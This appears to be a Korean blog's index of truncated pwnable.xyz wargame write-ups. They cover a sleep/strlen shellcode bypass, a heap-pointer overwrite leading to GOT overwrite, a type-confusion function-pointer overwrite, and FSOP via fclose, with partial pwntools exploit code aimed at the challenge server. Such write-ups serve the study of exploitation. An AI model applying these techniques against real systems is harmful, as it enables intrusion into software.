War Games/pwnable.*

[ pwnable.xyz ] executioner

1. sleep --> 0을 줘서 sleep(0)으로 만듬 2. strlen() --> 첫 byte "\x00"을 줌 3. "\x00"*2 --> add BYTE [rax], al그냥 dummy shellcode로 준다. from pwn import * context.log_level='debug' context.arch='amd64' def debug(): log.critical(f"pid= {pidof(p)[0]}") pause() #p=process("./challenge") p=remote("svc.pwnable.xyz",30025) p.recvuntil("= ") a=int(p.recvline()[:-1],16) p.sendlineafter(">",str(0)+" "+str(a)) debug()..

2021.09.05 게시됨

War Games/pwnable.*

[ pwnable.xyz ] SUS

cur--> 스택의 주소 --> 힙 주소 --> 입력한 문자들 이렇게 이루어져있다. 우리는 힙 주소 부분을 바꿔서 aaw를 발생시켜야 한다. read_int()함수에서 read함수를 쓰는데 &s가 아니라 &buf에 입력 받기 때문에 스택 구조가 뒤틀린다. age는 힙 주소가 적힌 부분보다 더 낮은 주소부터 쓰기 때문에 힙 주소를 over write가능하다. --> 이후엔 got over write from pwn import * context.log_level='debug' def debug(): log.critical(f"{pidof(p)[0]}") pause() p.interactive() #p=process("./challenge") p=remote("svc.pwnable.xyz",30011) e=..

2021.09.02 게시됨

War Games/pwnable.*

[ pwnable.xyz ] Game

sroce에서 underflow한 이후 save_game에서 type confusion을 이용해 strlen(cur)의 return 값을 늘린다. --> cur+24에 있는 function pointer를 win함수로 덮는다. from pwn import * context.log_level='debug' #p=process("./challenge") p=remote("svc.pwnable.xyz",30009) def edit_name(count): p.sendlineafter(">","3") p.send(b"A"*count) def debug(): log.critical(f"pid= {pidof(p)[0]}") pause() p.interactive() def pwn(): p.sendlineafter("..

2021.09.02 게시됨

[ pwnable.xyz ] fclose 포스팅 썸네일 이미지

War Games/pwnable.*

[ pwnable.xyz ] fclose

문제소스 // local variable allocation has failed, the output may be wrong! int __cdecl main(int argc, const char **argv, const char **envp) { setup(*(_QWORD *)&argc, argv, envp); printf("> "); read(0, &input, 0x404uLL); fclose(&input); return 0; } 1. fclose() 임의로 설정한 파일 스트림을 fclose()해준다 --> FSOP로 win함수를 호출해봐라 보호기법 [*] '/xyz/challenge' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found..

2021.08.31 게시됨